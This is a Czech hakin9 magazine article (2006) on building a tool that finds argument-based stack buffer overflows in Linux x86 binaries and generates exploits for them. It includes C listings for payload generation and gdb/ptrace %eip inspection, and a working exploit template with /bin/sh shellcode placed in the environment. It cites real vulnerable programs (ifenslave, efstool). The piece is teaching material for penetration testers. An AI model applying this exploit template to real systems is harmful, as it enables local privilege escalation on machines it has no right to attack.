Programováni
Automatizace procesu zneužívání na systémech Linux x86 Stavros Lekkas
stupeň obtížnosti
Pro testery průniků je velmi obtížné kontrolovat trhliny v zabezpečení u předkompilovaných binárních souborů. Tuto úlohu by rozhodně zjednodušil nástroj, který dokáže identifikovat chyby přetečení bufferu a vytvoří kód zneužití.
P
ředstavte si, že jste narazili na kompilovaný kód, k němuž bohužel nemáte zdrojový kód, a který navíc vykazuje typické charakteristiky existence zranitelnosti přetečení bufferu. Jelikož analýza zpětného překladu je neobyčejně časově náročný proces, nástroj, který by dokázal automatizovat proces zneužití této potenciální zranitelnosti, by byl velmi užitečný. Podívejme se tedy na možné implementace takového nástroje. Tvrzení, že program obsahuje zásobníkovou chybu přetečení bufferu, je nepřímým důsledkem toho, že existuje místo, takzvaný buffer, do něhož se data kopírují. Tyto buffery existují v zásobníku a ukazují na ně adresy. Při kopírování dat se navíc neověří vazby, což představuje riziko přetečení. Po přetečení bufferu se přepíšou také některé jiné segmenty mimo jeho oblast. Efektivní zpracování takových segmentů pomocí platných dat vede k řízení provádění toku programu pouze použitím platných ukazovacích adres. Výše zmíněná data, která se umístí do bufferu, někdy pochází ze vstupu uživatele. Možných způsobů, jakými může program přijímat vstup uživatele, existuje celá řada, například pomocí argumentů programu (nebo
58
hakin9 2/2006
parametrů, chcete-li), proměnných prostředí, přepínačů či běhových vstupů programu přijatých prostřednictvím funkcí libc gets(), scanf() atd. Vzhledem k tomu, že každý z těchto způsobů předávání dat má svá specifika, zaměříme se na argumenty programu jako na náš vektor útoku. Je třeba se však zmínit, že automatizační princip nemá nic společného s fuzzy logikou a produktový nástroj není spojen s technikami fuzzy. Snaha najít specifické zranitelnosti prohlí-
Z tohoto článku se naučíte… • • • •
jak identifikovat tento specifický druh chyb bez zdrojového kódu, nezbytné kroky pro zneužití této chyby, kritéria, která tvoří obecnou šablonu kódu zneužití, důvod, proč je tato automatizace hodnotná.
Měl byste vědět… • • •
www.hakin9.org
základy programování v jazyce C na Linuxu, jak používat operační systém Linux, jak funguje zásobník Linuxu.
Automatizované zneužití
Fuzzing
Fuzzing znamená jednání s pomocí fuzzy logiky. Teorie fuzzy logiky se zabývá dvojznačností a snaží se kategorizovat neurčitost a klasifikovat ji pomocí matematiky. V matematice má množina všech celých čísel nekonečný počet prvků a tudíž vytváří množinu všech reálných čísel atd. Když se však dostane na počítače, všechno je konečné a kalkulace s opravdu velkými operandy mohou selhat.
žením dat generovaných ze záměrných vstupů nepředstavuje takzvaný fuzzing (viz sekce Fuzzing). Při našem pátrání po nalezení cesty k ovládání ukazatele %eip (viz Obrázek 1 pro objasnění) prostřednictvím argumentů musíme učinit určité logické úvahy o tom, čemu musíme čelit. Například daný binární, spustitelný soubor buďto je nebo není zranitelný. První předpoklad lze přeložit jako: n-tý argument buďto je nebo není zranitelný. V případě, že zranitelný je, existuje určitý prostor, která je třeba vyplnit znaky, abychom se dostali k ukazateli %eip. Přizpůsobení těchto požadavků na předdefinovaný rozsahu hodnot pomáhá přetvoření kohezního konstrukčního modelu na konečný rámec.
Argumenty programů
Celá řada proveditelných souborů ve formátu ELF přijímá argumenty před započetím svého provádění. Typickým příkladem je příkaz rm, kterému jako parametr musíme předat to, co chceme odstranit. Představte si proveditelný soubor ve formátu ELF, a.out, který vypíše proud znaků tak, jak byly předány v argumentu. $ ./a.out hakin9 You typed: hakin9
V tomto případě existuje možnost, že se místo pouhé vyvolání printf() s argv[1] jako parametrem deklaruje dočasný buffer, pole znaků. Tudíž argv[1] se zkopíruje do bufferu a printf() použije tento buffer jako parametr, doufejme s příslušným řetězcem formátu. Dále existuje možnost, že
Obrázek 1. Shrnutí principu operace nebezpečného kopírování
Obrázek 2. Vývojový diagram prvního algoritmu na vytváření užitečné zátěže se do tohoto bufferu zkopíruje nebezpečným způsobem. Co když mu pouze předáme větší vstupy? argv[1]
$ ./a.out `perl –e ‘print “A” x 50’`
du použil dočasný buffer, do něhož byl nebezpečně zkopírován argv[1]. Prostřednictvím ladícího nástroje GNU gdb, můžeme zobrazit instrukci, která způsobila zhroucení.
You typed: AAAAAAA … AAA Segmentation fault (core dumped)
Program se zhroutí a vytvoří soubory core. Ačkoli celá řada distribucí Linuxu nevytváří soubory core, abychom to mohli zapnout pouze zadáním: $ ulimit -c unlimited
Tímto způsobem povolíme vytváření souborů core s neomezenou velikostí. Vraťme se však zpět k našemu příkladu. Fakt, že program vytvořil soubor core znamená, že se oprav-
www.hakin9.org
$ ./gdb –c core ./a.out | grep \#0 #0 0x41414141 in ?? ()
To dává smysl, protože 0x41 je hexadecimálním ekvivalentem A. Podrobnější shrnutí principu je znázorněno na Obrázku 1. Ukazatel na instrukci se přepsal neplatnou adresou, což vede ke zhroucení (viz také článek Pretečení zásobníku pod Linuxem x86, který najdete na webove stránkce http:// www.hakin9org/cz/index.php?page +BIST2004).
hakin9 2/2006
59
Programování
Místo zadávání padesáti znaků A bychom mohli najít přesnou vzdálenost do konce %ebp, vyplnit tuto vzdálenost znaky A a poté předat platnou adresu. Tímto způsobem můžeme řídit tok prováděného programu tak, že provede kód, který můžeme dodat. Navíc to lze provést automaticky.
Výpis 1. Podsystém na vytváření užitečné zátěže char *make_payload(char *buffer, int policy, LINT num) // policies: // _APPEND ~ append $num 'A'[s] // _REMOVE ~ remove $num 'A'[s] { char *my_buffer; LINT i, len = strlen(buffer); if( policy == _APPEND ) { if( !(my_buffer = (char *)malloc( len + num + 1 )) ) { fprintf(stderr, "[!] make_payload(): malloc() append error.\n"); exit(EXIT_FAILURE); } CLEAR(my_buffer); if( len != 0 ) for( i = 0; i < len; i++ ) my_buffer[i] = *(buffer++); for( i = len; i < len + num; i++ ) my_buffer[i] = 'A';
}
my_buffer[i] = 0x00;
if( policy == _REMOVE ) { if( !(my_buffer = (char *)malloc( len - num + 1 )) ) { fprintf(stderr, "[!] make_payload(): malloc() remove error.\n"); exit(EXIT_FAILURE); } CLEAR(my_buffer);
V tomto bodě je třeba zmínit, že na daném proveditelném souboru nás zajímá číslo argumentu, které nám poskytuje cestu k manipulaci s ukazatelem %eip, a vzdálenost do %eip. V předchozím příkladu a.out jsme mohli aplikaci gdb spustit pro každou možnou délku hodnoty argumentu nastavující pokaždé užitečnou zátěž bufferu, která se postupně zvětšuje. Poté musíme prozkoumat hodnotu ukazatele na instrukci a určit do jaké míry byl ovlivněn našimi vstupy. Je-li proveditelný soubor opravdu zranitelný, budou v průběhu našeho zkoumání patrné následující tři různé stavy, které nastanou postupně: •
for( i = 0; i < len - num; i++ ) my_buffer[i] = *(buffer++);
}
Sbírání informací
my_buffer[i] = 0x00;
•
return my_buffer;
•
Obrázek 3. Vývojový diagram druhého algoritmu na vytvoření užitečné zátěže
60
hakin9 2/2006
www.hakin9.org
Hodnota, která neodpovídá změně ukazatele na instrukci, se může vyskytnout vícekrát. Hodnota, která odpovídá částečnému přepsání ukazatele na instrukci, se vyskytne jednou a víme, že další pokus deterministicky odpovídá třetímu stavu (například: 0x00414141). Hodnota odpovídá úplnému přepsání ukazatele instrukce (například: 0x41414141).
Všimněte si, že úspěšné částečné přepsání odpovídá modifikaci třech ze čtyřech bajtů %eip. Za podezřelou z částečného přepsání nelze považovat adresu 0xbfff4141, protože je platnou adresou ukazující na zásobník. Mnohem podezřelejší je však adresa 0xbf414141, jelikož se opravdu velmi zřídka stává, aby se zásobník rozrostl do takové velikosti. I když tento problém zahrnuje konečná implementace, nebylo by na škodu přiřadit konstantě weight hodnoty pro signalizaci, jak kritické a promyšlené může potenciální přepsání být.
Automatizované zneužití
Výpis 2. Prováděcí a kontrolní podsystém používající nástroje gdb, grep a awk int exec_and_inspect_1(char *buffer, int arg, char *vulnfile) { //returns: -2 ~ internal error // -1 ~ not a smash // 0 ~ definately a smash :) // 1 ~ probably a smash char int FILE u_long
tmp[512], bufresponse[64]; inspec_val, i; *fd; address;
close(2); // gdb prints to stderr if( (fd = fopen(CMDF, "w+")) == NULL ) { ttyd = open("/dev/tty", O_RDONLY); fprintf(stderr, "[!] exec_and_inspect_1(): error creating gdb command file.\n"); fflush(stderr); return -2; } fprintf(fd, "r "); for(i = 0; i < arg - 1; i++) fprintf(fd, "foo "); fprintf(fd, "%s\nquit\n", buffer); fclose(fd); CLEAR(tmp); snprintf(tmp, 511, "%s %s --command=%s|%s 0x | %s {'print $1'} > %s", GDB, vulnfile, CMDF, GREP, AWK, RETF); system(tmp); unlink(CMDF);
char *p;
CLEAR(bufresponse); if( (fd = fopen( RETF, "r")) == NULL ) { ttyd = open("/dev/tty", O_RDONLY); fprintf(stderr, "[!] exec_and_inspect_1(): error reading gdb output file.\ n"); fflush(stderr); return -2; } fgets(bufresponse, 63, fd); fclose(fd); address = strtoul(bufresponse, 0, 16); if(verbose) fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer));
Pokračování na další straně
První algoritmus na vytváření užitečné zatěže Podsystém, který je zodpovědný za vytváření užitečných zatížení (payload) nedělá nic jiného, než že vytvoří buffery vyplněné znaky A, když je o to požádán. Docela jednoduše pochopitelnou metodou k vy-
rozsah je ve stejném rozsahu, poté bude promyšlená změna rozhodně vystopována. Algoritmus postupného zvětšování je popsán na obrázku 2. Vytváření přírůstkových bufferů, když přírůstek je pouze jeden bajt, má určité výhody a nevýhody. Jednou z výhod je skutečnost, že se kvůli výpočetnímu času zmenší složitost programování. Ve skutečnosti algoritmus nabízí abstraktnější implementaci. Kdyby byl přírůstek větší než jeden znak A, rozhodně by se poté proces zrychlil, ale vznikly by konflikty s našimi třemi možnými stavy ukazatele %eip. Vzpomeňte si, že změna se kategorizuje jako promyšlená pouze tehdy, když byly změněny všechny čtyři bajty %eip a tři ze čtyřech bajtů byly změněny při předchozím pokusu. Na Výpisu 1 je uvedena implementace podsystému na vytváření užitečné zátěže jako plně znovu použitelné komponenty. Protože kód na Výpisu 1. přiděluje buffer pomocí malloc() a poté na něj vrací ukazatel, měl by se nějakým způsobem uvolnit. To lze provést následovně:
tváření takových užitečných zátěží je proslulá technika hrubé síly (brute force). Vytvoříme buffery všech možných délek, které se budou, jeden po druhém, testovat, dokud se neprovede změna nebo dokud nedosáhneme maximální délky testovacího rozsahu bufferu. Je-li argument zranitelný a náš testovací
www.hakin9.org
p = make_payload(“foo”, _APPEND, 1); free(p);
Druhý algoritmus na vytváření užitečné zátěže Užitečnou zátěž můžeme také zvětšit pomocí bloků znaků A místo postupného zvětšování po jednom znaku A. V takovém případě však vzniká rozpor s našimi třemi možnými stavy %eip, což je také důvod, proč není tento algoritmus implementován v nástroji. Abychom byli přesnější, je zde značná pravděpodobnost, že nikdy nenastane stav 2 a to je v rozporu se současnou definicí toku interních stavů. Z hlediska rychlosti se jeví jako nejvýkonnější hodnota tři A na blok, když vytváříme buffery z bloků znaků A. Konkrétně se ideální hodnota vytvoří vzorcem:
hakin9 2/2006
61
Programování
Výpis 2. Prováděcí a kontrolní podsystém používající nástroje gdb, grep a awk (pokračování) switch( address_status( address ) ) { case 0: // 0x41414141 if( flag == 1 ) { //if the 3 lsb have been overwritten previously if(verbose) { fprintf(stdout, "-> %%eip status: definately smashed. "); printfixed(address); } inspec_val = 0; } else { // eip smashed with the first try, this implies 2 cases. // 1st: gdb --command reported wrong address so we must skip // 2nd: fast check found a vuln buffer if(verbose) { fprintf(stdout, "-> %%eip status: probably smashed. "); printfixed(address); } inspec_val = -1; } break; case 1:// 3 lsb have been overwritten // either we are about to overwrite the %eip at next try or // fast check smashed 3/4 of the %eip. interesting, we should // force an additional round to get ensured. flag = 1; if(verbose) { fprintf(stdout, "-> %%eip status: partially smashed. "); printfixed(address); }
case -1:
default:
inspec_val = -1; break; if(verbose) { if(address) { fprintf(stdout, "-> %%eip status: not smashed. "); printfixed(address); } else fprintf(stdout, "-> %%eip status: not smashed. (unaccessible)\ n"); } inspec_val = -1; break; fprintf(stderr, "[!] I shouldn't be here.\n"); inspec_val = -2;
} unlink(RETF);
}
return inspec_val;
block_len = word_size( %eip size in bytes) – 1 <=> (1) block_len = 4 – 1 <=> block_len = 3
To nám dává tři možné množiny scénářů přepisování %eip. Jeden z nejzajímavějších případů se stane,
62
hakin9 2/2006
když se ukazatel %eip zcela přepíše a délka užitečné zatíže není dobře nastavena na přesnou vzdálenost. Za těchto podmínek podsystém pro tvorbu užitečné zátěže vytvoří zmenšená užitečná zatížení. Stav 3 získá v tomto případě prioritu výskytu stavu 2 a naopak.
www.hakin9.org
Tato metoda celkově zajistí rychlost, avšak zahrnuje jak dopřednou, tak zpětnou generaci užitečné zatěže (viz Obrázek 3.). Ideální metodou by bylo s příslušnou kategorizací podmínek změny ukazatele %eip vytvořit užitečná zatížení prostřednictvím pevných bloků. Připomínáme, že tento algoritmus není adoptován v kódu nástroje tudíž, pokud vás tento článek zajímá, je na vás, abyste ho efektivně a účelně rozvíjeli.
První kontrolní algoritmus Zdaleka nejhodnotnější součástí tohoto nástroje je prováděcí a kontrolní podsystém, protože obsahuje jednoduchý rozhodovací stroj. Jeho úloha není tak pasivní, jako podsystém pro vytváření užitečné zátěže. Tento podsystém je zodpovědný za provádění zranitelné aplikace se sestavenou užitečnou zátěží v příslušném argumentu a za rozhodnutí na základně hodnoty %eip, jestli byl odhalen požadovaný výsledek. Rozhodnutí se dosáhne prostřednictvím seznamu heuristik seřazených podle důležitosti, které vychází z jednoduchého tvarů příkazů if-then. Takovou součást lze velmi rychle a nečistě vyvinout pomocí nástrojů příkazového řádku gdb, grep a awk. Platný příkaz by se měl vytvořit a extrahovat s pomocí informací citlivých na roury. Tato technika je implementována na Výpise 2. Užitečná zátěž a testovaný argument se poskytují jako parametry funkce (viz Výpis 2). Obecným principem návrhu, který přijal autor, je vrátit ošetření kódů zpět na předchozí vrstvu, která na oplátku dělá totéž se svou předchozí vrstvou. Stromový návrh nabízí obrovskou flexibilitu. Výhodou této techniky je, že nabízí velmi dobrou rychlost testování. Technika je však velmi spojena s aplikacemi třetích stran, jejichž integrita není známa.
Druhý kontrolní algoritmus Druhá možná implementace prováděcího a kontrolního podsystému by mohla být založena na volání
Automatizované zneužití
systému ptrace(). Systém poskytuje pěknou množinu nízkoúrovňových funkcí, z nichž některé hodláme převzít. Celkem vzato ptrace povoluje, aby jeden proces řídil provádění druhého procesu. Sledovaný proces se chová normálně, dokud není zachycen signál. Abychom aktivovali řízení prostřednictvím podřazeného procesu, zavoláme ptrace() s PTRACE _ TRACEME jako hodnotou požadavku. Druhý proces bude vytvořen pomocí fork(). K zavedení všech hodnot registru do příslušné struktury registru pomáhající při kontrole %eip bude sloužit PTRACE _ GETREGS. A nakonec PTRACE _ SINGLESTEP nám pomůže při hledání škodlivé instrukce. Implementace odpovídá Výpisu 3. Všimněte si, že implementace na Výpisu 3 nerespektuje pořadí výskytu tří stavů. Příčinou toho je skutečnost, že tato technika se na rozdíl od předchozí techniky nezabývá zpracováním řetězce, ale přímo pracuje s hodnotami registru. První i druhá technika však přijímá jako parametry stejné informace a na danou situaci vytvoří stejné kódy pro ošetření chyb. Tato technika je obecně velmi časově náročná a u velkých hodnot bufferu byste se na ni neměli nikdy spoléhat. Ačkoli není dostatečně rychlá, je velmi zajímavá, pokud se používá v režimu verbose, protože vypisuje všechny hodnoty instrukcí, které během doby testování prošly ukazatelem %eip. Hovoříme o miliónech nebo i více instrukcích a tudíž se jejich protokolování nedoporučuje. Díky těmto instrukcím lze identifikovat vzory zásobníkového rámcem, což napomáhá hlubší analýze proveditelného souboru.
Výpis 3. Prováděcí a kontrolní podsystém používající nástroj ptrace syscall int exec_and_inspect_2(char *buffer, int arg, char *vulnfile) { // returns: -2 ~ internal error // -1 ~ not a smash // 0 ~ smash :) REGISTERS regs; pid_t pid; int inspec_val = -1, wait_val, i = 1; LLONG counter = 0; char *args[MAX_ARGS] = {NULL}; args[0] = "lazyjoe"; for(i = 1; i <= arg - 1; i++) args[i] = "foo"; args[i] = buffer; args[i+1] = NULL; switch( pid = fork() ) { case -1: return -2; break; case 0: ptrace(PTRACE_TRACEME, 0, 0, 0); execv(vulnfile, args); break; default: wait(&wait_val); if(verbose) fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer)); while(wait_val == 1407) { counter++; counter_tot++; if( ptrace(PTRACE_GETREGS, pid, 0, ®s) != 0 ) { fprintf(stderr, "[!] ptrace(): error fetching registers.\n"); fflush(stderr); return -2; } if( ptrace(PTRACE_SINGLESTEP, pid, 0, 0) != 0 ) { fprintf(stderr, "[!] ptrace(): error restarting.\n"); fflush(stderr); return -2; } if(verbose) { fprintf(stdout, "-> eip: %8x\r", regs.eip); fflush(stdout); } if( regs.eip == 0x41414141 ) { if(verbose) { fprintf(stdout, "-> Number of instructions this round: %ld\n", counter); fprintf(stdout, "-> Total number of instructions: %ld\n", counter_tot); } inspec_val++; //0 kill(pid, SIGKILL); } wait(&wait_val);
Spolupráce funkčních součástí Pokud to až doposud nebylo zřejmé, konzistence akcí nástroje je velmi závislá na správné návrhové spolupráci podsystémů. Dva základní podsystémy spolu komunikují zasíláním ošetřovacích kódů na jejich řídící mezivrstvu, funkci find _ dist() (viz zdrojový kód implementace). Spolupráce podsystémů řízená zpětnou
}
} } return inspec_val;
www.hakin9.org
hakin9 2/2006
63
Programování
Obrázek 4. Spolupráce funkčních součástí
Obrázek 6. Abstraktní meta-model celého systému vazbou je principiálně znázorněna na Obrázku 4. Za identifikaci stavů ukazatele %eip na základně jejich pevně zapsaných heuristik je na obrázku 4 zodpovědný modul s číslem 7. To znamená, k jakému procesu rozhodnutí dojde a tudíž, jak přesná vzdálenost může být nalezena.
Obrázek 5. Spodní část zásobníku systému Linux Výpis 2. Obecná šablona kódu zneužití // our binary #define BIN “our_vuln_bin” // hypothetic value. It can be obtained using the // payload_production – exec_and_inspect algorithms #define NUM 44 char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" “\x53\x89\xe1\x99\xb0\x0b\xcd\x80" "\x31\xc0\x31\xdb\x40\xcd\x80";
Kód zneužití
int main(void) { //our env structure char *env[2] = {shellcode, 0}; char buffer[NUM + 5]; // our formula incorporating the shellcode unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(BIN); memset(buffer, 0x41, NUM); *((long *)(buffer + NUM)) = ret; buffer[NUM + 5] = 0x00; //this line is crafted from the exploit generation subsystem //to include any possible argument apart from the payload execle(BIN, BIN, buffer, 0, env); return 0; }
64
hakin9 2/2006
www.hakin9.org
Doposud jsme si ukázali, jak prostřednictvím zranitelného argumentu najít přesnou vzdálenost. Dále si vysvětlíme podsystém pro generování zneužití, jehož princip by byl mnohem jednodušeji pochopen teoretickým výkladem. Kód zneužití je část kódu sestavená za účelem vyplývajícím z jeho názvu: využití situace. Touto situací je trhlina v bezpečnosti programu a co se týče našeho článku, konkrétně se jedná o lokální zásobníkové přetečení bufferu prostřednictvím argumentů. Zneužitím chyby v programu můžeme provést jakékoli naše příkazy. Tyto příkazy jsou proslulou částí shell kódu zneužití. Označují se jako shell kód,
Automatizované zneužití
Informace o testu
Testy byly provedeny na notebooku Acer s procesorem Intel P4 2.0 Ghz CPU a 128 MB sdílené paměti RAM. Operačním systémem byl Mandrake 9.0 (Dolphin) spuštěný z Vmware Workstation. Prozkoumávaná aplikace byla k dispozici ve formě balíků z instalačních CD Mandrake 9.0.
Obrázek 7. Testování efstool pomocí režimu pipes
Obrázek 8. Testování ifenslave pomocí režimu pipes
Obrázek 9. Testování ifenslave pomocí režimu ptrace protože konec konců spustí nový shell. Jsou uvedeny ve formátu strojového kódu, který vypadá jako hexadecimální posloupnost (viz článek Linux shellcode optimization, který je k dispozici na webových stránkách magazínu hakin9.org). Jelikož vytváření shell kódu přesahuje rámec tohoto článku, budeme předpokládat, že shell kód vytvoří
shell postupným zadáním níže popsaných příkazů: setuid(0); execve ("/bin/sh", 0); exit (0);
Našim cílem je předávat skutečnému, zranitelnému programu nějaké bajty, dokud se nedosáhne požadované vzdálenosti. Tato vzdálenost
www.hakin9.org
hakin9 2/2006
65
Programování
představuje začátek ukazatele na instrukci (%eip), který bude přepsán platnou adresou, která ukazuje na náš shell kód. To je velmi zajímavá část. Jak můžeme předem znát adresu, na které přesně bude náš shell kód umístěn? Můžeme identifikovat vzorec, který poskytuje všeobecně platnou adresu, jež na něj ukazuje? Můžeme se vyhnout potřebě konkrétních informací týkajících se naší distribuce Linuxu? Odpověď na tyto otázky můžete najít uvedením obecné šablony kódu zneužití.
Metoda přímého zásahu Na naší cestě za zavedením obecné šablony kódu zneužití, se pustíme do zásobníku. Zásobník je strukturován takovým způsobem, který nám pomůže najít obecný vzorec. Horní část zásobní se liší v závislosti na našem programu. Ačkoli poslední platná adresa, která ukazuje na prostor zásobníku, je pevná a má hodnotu 0xbfffffff. Spodní část zásobníku je znázorněna na Obrázku 5. Data se provedou zdola nahoru, kdežto zásobník roste způsobem shora dolů. Prostředí má pevnou vzdálenost od spodní části zásobníku a může pomocí Obrázku 5. najít jeho n-tou položku. Vzorec na n-tou položku prostředí je: address = 0xbfffffff - 4 - ( strlen(prog_name) + 1 ) - strlen(env[n]); (2)
which equals to: address = 0xbffffffa - strlen(prog_name) - strlen(env[n]); (3)
Prostředí vypadá jako ideální místo na umístění našeho shell kódu. Náš shell kód můžeme vložit do struktury prostředí a pomocí předchozího prostředí provést zranitelný binární soubor. To lze uskutečnit buďto pomocí funkce execve() nebo execle(), pokud je jejím posledním parametrem struktura prostředí.
66
hakin9 2/2006
O autorovi
Stavros Lekkas původem z Řecka je studentem třetího ročníku manchesterské univerzity (dříve známé jako UMIST). Mezi jeho výzkumné zájmy patří kryptografie, informační bezpečnost, dolování dat, vyšší matematika (teorie logiky a čísel) a výpočtová složitost. V současné době pracuje na disertační práci, jejíž námět se týká kompilačních programů.
Tabulka 1. Kvantitativní znázornění výkonu na specificky sestavených binárních souborech Zranitelný argument
Zranitelný buffer
Režim Pipes
Režim Ptrace
1
128 bajtů
20,41136200 sekund
n/a
3
32 bajtů
7,79432000 sekund
457,13281000 sekund
5
16 bajtů
5,24972400 sekund
339,47941600 sekund
20
16 bajtů
7,66579100 sekund
479,69758100 sekund
Tato metoda nevyžaduje žádné příkazové kódy NOP (0x90), protože ukazuje přímo na shell kód v zásobníku.
Sestavení sesbíraných informací Neshledanou a díky za všechno (Douglas Adams, The hitch hiker’s guide to the galaxy, 1984). Pokud jsme již identifikovali vzdálenost do začátku %eip a snad i náš vzorec, můžeme nyní vytvořit šablonu kódu zneužití. Efektivní implementace by měla vypadat podobně jako na Výpisu 4. Všechny příslušné informace jsou deklarovány pomocí příkazů #define. Považujte to za důležité, protože tímto způsobem uchováváme větší části zneužití v pevně zapsaném stavu bez potřeby měnit cokoli jiného, než segmenty #define. Tímto bude funkce, která generuje kód zneužití, ponechána na minimálním
využití. Pouze to zkuste a nebudete zklamaní. Přehled všech fází, které se uskuteční během provádění nástroje, je znázorněn na Obrázku 6.
Praktické příklady
Přetečení bufferu bylo nalezeno 26.5.2003 ve verzi 0.0.7 programu ifenslave (viz Bugtraq ID 7682). Zdálo se, že šlo o lokální přetečení zásobníku způsobené z prvního argumentu. Tentýž problém nastal u EFSTool. 29.1. 2001, byla také oznámena náchylnost k přetečení zásobníku a většina distribucí RedHat a Mandrake obsahovala zranitelnou verzi (viz Bugtraq ID 5125). Po instalaci těchto aplikací zjistíme, jestli lazyjoe může připravit zneužití. Na obrázcích 7, 8 a 9 je znázorněno úspěšné prověření lazyjoe /usr/bin/efstool a /sbin/ ifenslave. l
Na Internetu • • • • •
http://www.enderunix.org/docs/eng/bof-eng.txt – Odborné pojednání o přetečeních, http://packetstormsecurity.org/groups/netric/envpaper.pdf – Odborné pojednání o metodě přímého zásahu, http://linuxgazette.net/issue81/sandeep.html – sledování procesu pomocí ptrace, http://www.securityfocus.com/bid/5125 – informace Bugtraq o EFSTool, http://www.securityfocus.com/bid/7682/info – informace Bugtraq o ifenslave.
www.hakin9.org